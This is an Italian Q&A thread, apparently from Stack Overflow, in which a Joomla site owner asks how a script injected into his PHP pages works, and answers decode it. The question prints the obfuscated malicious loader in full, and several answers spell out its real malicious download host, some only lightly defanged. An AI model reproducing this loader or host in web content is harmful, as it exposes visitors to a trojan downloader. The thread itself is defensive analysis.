Come funziona questo sito che infetta lo script?


99

Il mio Joomla! sito web è stato ripetutamente violato. Qualcuno, in qualche modo, è riuscito a iniettare la seguente spazzatura negli script php chiave, ma non intendo parlare della configurazione di Joomla. Il sito non è molto visitato (a volte temo di essere l'unico visitatore di quel sito ...) e non mi interessa molto che il sito sia nuovamente attivo e funzionante. Alla fine ci penso io.

La mia domanda è: come funziona questa spazzatura? Lo guardo e non vedo come fa a fare del male? Quello che fa è provare a scaricare un file PDF chiamato ChangeLog.pdf, che è stato infettato da un trojan e dopo l'apertura bloccherà Acrobat e causerà il caos sul tuo computer. Come lo fa, non lo so, non mi interessa. Ma come fa il seguente pezzo di script a richiamare il download?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET ha rilevato questo codice come trojan JS / TrojanDownloader.Agent.NRO


41
Per favore, nessuno si allontani per controllare il link per curiosità!
DOK

1
Sì, non girovagare cercando di capire cosa sta succedendo, la magia sta nella semplice codifica dell'URL e nella successiva decodifica / analisi della stringa usando il Sostituisci / RegEx che vedi alla fine della riga.
DoctorLouie

13
"pezzo di sceneggiatura" si leggeva come qualcos'altro, all'inizio.
Aditya MP

Risposte:


181

Si noti la replacechiamata dopo la stringa disordinato gigante: .replace(/#|\$|@|\^|&|\(|\)|\!/ig, '').

Rimuove la maggior parte dei caratteri speciali, trasformandolo in un normale URL:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(Sono passato manualmente http:a evil:)

Nota che la regex avrebbe potuto essere semplificata in .replace(/[#$@^&()!]/ig, '')

Se guardi lo script, vedrai che è uno script molto semplice che inietta un IFRAME nascosto contenente il percorso /index.php?ysdallo stesso dominio.

Ho richiesto quella pagina in Fiddler e non aveva contenuto.


6
Penso che lo script che fornisce il contenuto dell'iframe sia realizzato in modo da non avviare ogni volta il download del pdf. Potrebbe esserci una possibilità su 10 o qualcosa del genere. Non ha provato a scaricare il pdf ogni volta che aggiornavo la pagina di joomla. Potrebbe essere anche 1 su 100 ... chi lo sa?
Peter Perháč

174
+1 per aver menzionato che il codice avrebbe potuto essere scritto in modo più efficiente. :)
Pekka

8
@Pekka, penso che sia stato scritto deliberatamente in quel modo in modo da essere più oscuro
Vista ellittica

7
@Elipticalview Sicuramente. Se lo scrittore fosse preoccupato per l'efficienza, certamente non avrebbe utilizzato un sostituto RegEx per derivare una stringa statica. Lol.
Dan Bechard

Non vedo cosa farebbe un modificatore di pattern insensibile al maiuscolo / minuscolo per un pattern senza lettere. Userei anche un +dopo la classe di caratteri ... se usassi regex.
mickmackusa

34

Queste risposte potrebbero aiutarti a capire la natura del codice JavaScript dannoso, ma quello che dovresti cercare è un modo per chiudere la scappatoia insita nel motore di Joomla. I framework preconfezionati sono soggetti a scappatoie, intenzionali o involontarie, soprattutto se si considera che sono progettati per funzionare su ambienti unix, mac e Windows.

Il mio lavoro richiede che esegua molti domini, applicazioni e framework su molti tipi di server e sistemi per me e i clienti. Nel corso del tempo ho visto sempre più bot che eseguono la scansione di questi sistemi alla ricerca di scappatoie / entrate note attraverso le entrate della porta di servizio create da quei framework. Per fortuna quando uso qualsiasi tipo di framework, cosa che faccio raramente, mi assicuro di rinominare la maggior parte se non l'intera struttura del file per sbarazzarmi di quelle fastidiose scappatoie / backdoor. Per lo meno puoi rinominare le directory che eliminano la maggior parte dei bot, ma il mio modo è eliminare completamente i riferimenti che danno indizi sulla natura del framework, che include la ridenominazione dell'intera struttura dei file non solo delle directory. Conserva sempre una mappa delle nuove convenzioni di denominazione relative alle vecchie convenzioni di denominazione in modo da semplificare l'aggiunta di plug-in al framework di base. Una volta capito, puoi persino rinominare programmaticamente l'intera struttura del file del framework per risultati più rapidi, questo è particolarmente utile quando devi gestire i clienti che devono essere in grado di aggiornare il loro framework con plug-in e simili.


1
Basta non rimuovere le informazioni sulla fonte del framework, sarebbe completamente sbagliato.
DoctorLouie

2
Oooo, grazie. È una bella risposta. Non rispondendo veramente alla domanda, ma ancora +1, poiché questa è stata davvero una lettura molto interessante e buoni suggerimenti. Ta
Peter Perháč

20

Fa solo una sostituzione regex sull'URL dello script per darti

NOTA: NON SEGUIRE IL LINK SOTTO (inserito **per scoraggiare i copy-pasters)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

come la src


così semplice, vero? mio Dio ... sono stato nuovamente chiamato da SO :)
Peter Perháč

23
Questo è un URL divertente.
Jordan Running il

@ Josh - Dipende da te, non l'ho provato quindi non posso dirti esattamente perché. Sospetto che nella pagina possano essere presenti script dannosi. Potresti farlo a tuo rischio e pericolo!
Russ Cam

8

Usa la funzione di sostituzione per sostituire i caratteri spazzatura usando regex, niente di sbagliato nel codice:

 ........replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')

7

Il suo script di caricamento da

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

E quello script viene caricato iframecon visibilitàhidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys

2

Quando leggi tutto, scopri che è una stringa seguita da un comando di sostituzione.


2

Ho lo stesso sript sulle mie pagine nei file index *. *. Sto scrivendo il mio codice in PHP. La mia domanda non è come funziona, ma ti chiedo come proteggerti se conosci le loro backdoor. Ho cambiato modulo e ho letto $ _POST e $ _GET sostituendo <> e http: // ecc.


2

I miei due centesimi. Hai / puoi installare uno strumento di backup di Joomla come Joomlapack?

L'ho impostato per essere eseguito tramite uno script CHRON per tenere la merce a portata di mano nel caso in cui i rapinatori arrivino a rapinare.

Quale versione di Joomla utilizzi?

Le versioni 1.0.X non vengono più aggiornate e l'età sta davvero iniziando a mostrare. Lo devi a te stesso per fare un backup e pianificare l'aggiornamento alla 1.5 e anticipare le meraviglie della 1.6

Utilizzando il nostro sito, riconosci di aver letto e compreso le nostre Informativa sui cookie e Informativa sulla privacy.
Licensed under cc by-sa 3.0 with attribution required.